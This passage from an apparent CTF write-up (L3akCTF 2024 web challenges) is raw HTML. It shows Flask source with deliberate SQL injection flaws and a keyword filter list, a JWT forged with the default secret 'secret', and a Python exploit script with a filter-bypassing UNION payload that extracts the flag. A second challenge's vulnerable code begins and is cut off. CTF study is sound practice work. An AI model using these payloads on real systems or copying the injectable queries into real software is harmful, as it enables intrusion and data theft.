class="c1"># The flag is at the DB, so we will need an SQL injection 313</span><span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"CREATE TABLE IF NOT EXISTS flag (flag TEXT);"</span><span class="p">)</span> 314 315<span class="k">if</span> <span class="ow">not</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"SELECT * FROM flag;"</span><span class="p">).</span><span class="n">fetchone</span><span class="p">():</span> 316 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">"INSERT INTO flag (flag) VALUES ('</span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">');"</span><span class="p">)</span> 317 318 319<span class="c1">############## SNIP ################# 320</span> 321 322<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span> 323<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span> 324 325 <span class="n">token</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="n">
325get</span><span class="p">(</span><span class="s">'token'</span><span class="p">)</span> 326 <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span> 327 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please login to access this page'</span><span class="p">)</span> 328 <span class="c1"># my code 329</span> <span class="n">decoded_token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="p">[</span><span class="s">'HS256'</span><span class="p">])</span> 330 331 <span class="c1"># Filters we have to bypass on the USERNAME SQL injection point down below 332</span> <span class="c1"># The username is taken from the token ð³ 333</span> <span class="n">username</span> <span class="o">=</span> <span class="n">decoded_token</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> 334 <span class="n">username</span><span class="o">=</span><span class="n">username</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> 335 <span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="s">">"</span><span class="p">,</span> <span class="s">"+"</span><span class="p">,</span><span class="s">"="</span><span class="p">,</span> <span class="s">"<"</span><span class="p">,</span><span class="s">"//"</span><span class="p">,</span> <span class="s">"|"</span><span class="p">,</span><span class="s">"'1"</span><span class="p">,</span> <span class="s">" 1"</span><span class="p">,</span> <span class="s">" true"</span><span class="p">,</span> <span class="s">"'true"</span><span class="p">,</span> <span class="s">" or"</span><span class="p">,</span> <span class="s">"'or"</span><span class="p">,</span> <span class="s">"/or"</span><span class="p">,</span><span class="s">";"</span><span class="p">,</span> <span class="s">" "</span><span class="p">,</span> <span class="s">" "</span> <span class="p">,</span><span class="s">" and"</span><span class="p">,</span> <span class="s">"'and"</span><span class="p">,</span> <span class="s">"/and"</span><span class="p">,</span> <span class="s">"'like"</span><span class="p">,</span> <span class="s">" like"</span><span class="p">,</span> <span class="s">"%00"</span><span class="p">,</span> <span class="s">"null"</span><span class="p">,</span> <span class="s">"admin'"</span><span class="p">,</span><span class="s">"/like"</span><span class="p">,</span> <span class="s">"'where"</span><span class="p">,</span> <span class="s">" where"</span><span class="p">,</span> <span class="s">"/where"</span><span class="p">]</span> 336 <span class="n">passed</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span> 337 <span class="p">(</span> 338 <span class="n">i</span> 339 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">filters</span> 340 <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">username</span> 341 <span class="p">),</span> 342 <span class="bp">None</span><span class="p">,</span> 343 <span class="p">)</span> 344 345 <span class="k">if</span> <span class="n">passed</span><span class="p">:</span> 346 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 347 348 <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span>
349 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">)</span> 350 <span class="n">username</span> <span class="o">=</span> <span class="n">verify_jwt</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="s">'HS256'</span><span class="p">)</span> 351 <span class="k">if</span> <span class="n">username</span><span class="p">:</span> 352 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span> 353 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 354 355 <span class="c1"># The injection point, we have to inject in the USERNAME and bypass aforementioned filter 356</span> <span class="n">query</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"SELECT fortune FROM users WHERE username='</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">';"</span> 357 <span class="n">result</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span> 358 <span class="n">row</span> <span class="o">=</span> <span class="n">result</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span> 359 <span class="k">if</span> <span class="n">row</span><span class="p">:</span> 360 <span class="n">query</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">n"</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"('"</span><span class="p">,</span> <span class="s">""</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"',)"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span> 361 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 362 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">fortunes</span><span class="o">=</span><span class="n">query</span><span class="p">)</span> 363 364 365<span class="c1">####################### SNIP ################ 366</span> 367<span class="c1"># The registration part, we need to inject in the USERNAME, but we have the following restrictions: 368</span><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/signup'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span> 369<span class="k">def</span> <span class="nf">signup</span><span class="p">():</span> 370 <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">):</span> 371 <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">
371get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> 372 <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span> 373 374 <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span> 375 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span> 376 377 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o"><</span> <span class="mi">3</span><span class="p">:</span> 378 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at least 3 characters long'</span><span class="p">)</span> 379 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">></span> <span class="mi">20</span><span class="p">:</span> 380 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at most 20 characters long'</span><span class="p">)</span> 381 <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span> 382 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Password must be at least 8 characters long'</span><span class="p">)</span> 383 <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span> 384 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span> 385 386 <span class="n">fortune</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">popen</span><span class="p">(</span><span class="s">'fortune'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span> 387 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span> 388 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 389 <span class="n">query</span> <span class="o">=</span> <span class="s">"SELECT * FROM users WHERE username = ?;"</span> 390 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span> 391 <span class="k">if</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">():</span>
392 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User already exists'</span><span class="p">)</span> 393 394 <span class="n">query</span> <span class="o">=</span> <span class="s">"INSERT INTO users (username, password, fortune) VALUES (?, ?, ?);"</span> 395 396 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">fortune</span><span class="p">))</span> 397 <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span> 398 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 399 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User created successfully'</span><span class="p">)</span> 400 401</code></pre></div></div> 402 403<p>Mainly, we have two filters for our SQLi payloads:</p> 404 405<ul> 406 <li>At the registration:</li> 407</ul> 408 409<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">()</span> 410<span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o"><</span> <span class="mi">3</span> 411<span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">></span> <span class="mi">20</span> 412</code></pre></div></div> 413 414<ul> 415 <li>At dashboard (from the JWT token username):</li> 416</ul> 417 418<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="s">">"</span><span class="p">,</span> <span class="s">"+"</span><span class="p">,</span><span class="s">"="</span><span class="p">,</span> <span class="s">"<"</span><span class="p">,</span><span class="s">"//"</span><span class="p">,</span> <span class="s">"|"</span><span class="p">,</span><span class="s">"'1"</span><span class="p">,</span> <span class="s">" 1"</span><span class="p">,</span> 419 <span class="s">" true"</span><span class="p">,</span> <span class="s">"'true"</span><span class="p">,</span> <span class="s">" or"</span><span class="p">,</span> <span class="s">"'or"</span><span class="p">,</span> <span class="s">"/or"</span><span class="p">,</span><span class="s">";"</span><span class="p">,</span> <span class="s">" "</span><span class="p">,</span> 420 <span class="s">" "</span> <span class="p">,</span><span class="s">" and"</span><span class="p">,</span> <span class="s">"'and"</span><span class="p">,</span> <span class="s">"/and"</span><span class="p">,</span> <span class="s">"'like"</span><span class="p">,</span> <span class="s">" like"</span><span class="p">,</span> 421 <span class="s">"%00"</span><span class="p">,</span> <span class="s">"null"</span><span class="p">,</span> <span class="s">"admin'"</span><span class="p">,</span><span class="s">"/like"</span><span class="p">,</span> <span class="s">"'where"</span><span class="p">,</span> 422 <span class="s">" where"</span><span class="p">,</span> <span class="s">"/where"</span><span class="p">]</span> 423</code></pre></div></div> 424 425<p><a href="https://albertofdr.github.io/">Bubu</a> said that we might try to bruteforce the JWT secret to bypass registration filters and while I thought that the secret might be really hard, but to be honest, there was no chance to get an SQL injection with the <em>username.isalnum()</em>
425 filter. He tried and the secret was âsecretâ as the default value in the code ð¨ (I expect some 32 hexadecimal secret or something):</p> 426 427<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">secret</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'SECRET'</span><span class="p">,</span> <span class="s">'secret'</span><span class="p">)</span> 428</code></pre></div></div> 429 430<p><a href="https://albertofdr.github.io/">Bubu</a> prepared the exploit script while I was crafting the SQLi payload:</p> 431 432<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jwt</span> 433<span class="kn">import</span> <span class="nn">sys</span> 434<span class="kn">import</span> <span class="nn">requests</span> 435 436<span class="n">URL</span> <span class="o">=</span> <span class="s">"http://45.129.40.107:9669/"</span> 437<span class="n">SESSION</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span> 438 439<span class="k">def</span> <span class="nf">create_user</span><span class="p">(</span><span class="n">PAYLOAD</span><span class="p">):</span> 440 <span class="n">params</span> <span class="o">=</span> <span class="p">{</span> 441 <span class="s">"username"</span><span class="p">:</span> <span class="n">PAYLOAD</span><span class="p">,</span> 442 <span class="s">"password"</span><span class="p">:</span> <span class="s">"asdasdasdasdasd"</span> 443 <span class="p">}</span> 444 <span class="n">r</span> <span class="o">=</span> <span class="n">SESSION</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">URL</span><span class="o">+</span><span class="s">'signup'</span><span class="p">,</span> <span class="n">params</span><span class="p">)</span> 445 <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">
445status_code</span><span class="p">)</span> 446 447<span class="k">def</span> <span class="nf">login</span><span class="p">(</span><span class="n">PAYLOAD</span><span class="p">):</span> 448 <span class="n">params</span> <span class="o">=</span> <span class="p">{</span> 449 <span class="s">"username"</span><span class="p">:</span> <span class="n">PAYLOAD</span><span class="p">,</span> 450 <span class="s">"password"</span><span class="p">:</span> <span class="s">"asdasdasdasdasd"</span> 451 <span class="p">}</span> 452 <span class="n">r</span> <span class="o">=</span> <span class="n">SESSION</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">URL</span><span class="o">+</span><span class="s">'login'</span><span class="p">,</span> <span class="n">params</span><span class="p">)</span> 453 <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">status_code</span><span class="p">)</span> 454 455 456<span class="k">def</span> <span class="nf">exploit</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span> 457 <span class="n">cookie</span> <span class="o">=</span> <span class="p">{</span> 458 <span class="s">"token"</span><span class="p">:</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">({</span><span class="s">'username'</span><span class="p">:</span> <span class="n">payload</span><span class="p">,</span><span class="s">'password'</span> <span class="p">:</span> <span class="s">'contraseña'</span><span class="p">},</span> <span class="s">'secret'</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="s">'HS256'</span><span class="p">)</span> 459 <span class="p">}</span> 460 <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">URL</span><span class="o">+</span><span class="s">'dashboard'</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookie</span><span class="p">)</span> 461 <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span> 462 463<span class="n">PAYLOAD</span> <span class="o">=</span> <span class="s">"bubu"</span> 464<span class="n">exploit</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> 465 466<span class="c1"># Launch exploit 467# python3 script.py "'union/**/select/**/flag/**/from/**/flag--" 468</span></code></pre></div></div> 469 470<p>Executing the script, it will print the dashboard HTML with the flag:</p> 471 472<p align="center"> 473 <img src="/images/writeups/L3akCTF2024/web_3.png" width="70%" /> 474</p> 475 476<p><code class="language-plaintext highlighter-rouge">L3AK{5q1_1nj3ct10n_CLF}</code></p> 477 478<p><br /></p> 479 480<h2 id="bbsqli---43-solves">bbsqli - [43 solves]</h2> 481<p>477 482web 483SO Classic !</p> 484 485<p><em>Author: xhalyl</em></p> 486 487<p>http://45.129.40.107:9676/</p> 488 489<p>We have the following code:</p> 490 491<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">url_for</span><span class="p">,</span> <span class="n">session</span> 492<span class="kn">import</span> <span class="nn">sqlite3</span> 493<span class="kn">import</span> <span class="nn">hashlib</span> 494<span class="kn">import</span> <span class="nn">os</span> 495<span class="kn">from</span> <span class="nn">utils</span> <span class="kn">import</span> <span class="n">generate</span><span class="p">,</span><span class="n">hash_password</span> 496 497<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span> 498<span class="n">app</span><span class="p">.</span><span class="n">secret_key</span> <span class="o">=</span> <span class="n">generate</span><span class="p">(</span><span class="mi">60</span><span class="p">)</span> 499 500 501<span class="n">FLAG</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">'FLAG'</span><span class="p">)</span> 502 503<span class="k">def</span> <span class="nf">init_db</span><span class="p">():</span> 504 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">
504'l3ak.db'</span><span class="p">)</span> 505 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 506 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">''' 507 CREATE TABLE IF NOT EXISTS users ( 508 id INTEGER PRIMARY KEY, 509 username TEXT NOT NULL, 510 email TEXT NOT NULL, 511 password TEXT NOT NULL 512 ) 513 '''</span><span class="p">)</span> 514 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">''' 515 CREATE TABLE IF NOT EXISTS flags ( 516 id INTEGER PRIMARY KEY, 517 flag TEXT NOT NULL 518 ) 519 '''</span><span class="p">)</span> 520 <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span> 521 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 522 523<span class="k">def</span> <span class="nf">add_flag</span><span class="p">(</span><span class="n">flag</span><span class="p">):</span> 524 <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span> 525 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 526 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'INSERT INTO flags (flag) VALUES (?)'</span><span class="p">,</span> <span class="p">(</span><span class="n">flag</span><span class="p">,))</span> 527 <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span> 528 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 529 530 531<span class="k">def</span> <span class="nf">add_user</span><span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span> 532 <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span> 533 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 534 535 <span class="n">hashed_password</span> <span class="o">=</span> <span class="n">hash_password</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> 536 <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Adding user </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s"> with pass </span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="s"> hashed </span><span class="si">{</span><span class="n">hashed_password</span><span class="si">}</span><span class="s">"</span><span class="p">)</span> 537 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'INSERT INTO users (username,email, password) VALUES (?,?, ?)'</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="p">,</span> <span class="n">hashed_password</span><span class="p">))</span> 538 <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span> 539 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 540 541<span class="n">init_db</span><span class="p">()</span> 542 543<span class="k">def</span> <span class="nf">get_db_connection</span><span class="p">():</span> 544 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">
544'l3ak.db'</span><span class="p">)</span> 545 <span class="n">conn</span><span class="p">.</span><span class="n">row_factory</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">Row</span> 546 <span class="k">return</span> <span class="n">conn</span> 547 548 549<span class="n">r</span> <span class="o">=</span> <span class="n">generate</span><span class="p">(</span><span class="mi">30</span><span class="p">)</span> 550<span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">)</span> 551<span class="k">print</span><span class="p">(</span><span class="n">hash_password</span><span class="p">(</span><span class="n">r</span><span class="p">))</span> 552<span class="n">add_user</span><span class="p">(</span><span class="s">"admin"</span><span class="p">,</span><span class="s">"[email protected]"</span><span class="p">,</span><span class="n">hash_password</span><span class="p">(</span><span class="n">r</span><span class="p">))</span> 553<span class="n">add_flag</span><span class="p">(</span><span class="n">FLAG</span><span class="p">)</span> 554 555 556<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span> 557<span class="k">def</span> <span class="nf">index</span><span class="p">():</span> 558 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span> 559 560<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span> 561<span class="k">def</span> <span class="nf">login</span><span class="p">():</span> 562 <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span> 563 <span class="k">try</span><span class="p">:</span> 564 <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 565 <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> 566 <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span> 567 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 568 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'SELECT username,email,password FROM users WHERE username ="</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">"'</span><span class="p">)</span> 569 <span class="n">user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span> 570 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 571 <span class="k">if</span> <span class="n">user</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">==</span> <span class="n">username</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> <span class="o">==</span> <span class="n">hash_password</span><span class="p">(</span><span class="n">password</span><span class="p">):</span>
572 <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 573 <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> 574 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'dashboard'</span><span class="p">))</span> 575 <span class="k">else</span><span class="p">:</span> 576 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 577 <span class="k">except</span><span class="p">:</span> 578 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 579 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span> 580 581<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/register'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span> 582<span class="k">def</span> <span class="nf">register</span><span class="p">():</span> 583 <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span> 584 <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 585 <span class="n">email</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> 586 <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> 587 <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span> 588 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 589 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'SELECT username FROM users WHERE username = ?'</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span> 590 <span class="n">existing_user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span> 591 <span class="k">if</span> <span class="n">existing_user</span><span class="p">:</span> 592 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username already exists'</span><span class="p">)</span> 593 <span class="n">add_user</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">email</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span>
594 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span> 595 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">)</span> 596 597<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span> 598<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span> 599 <span class="k">if</span> <span class="s">'username'</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span> 600 <span class="n">username</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 601 <span class="n">email</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> 602 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span 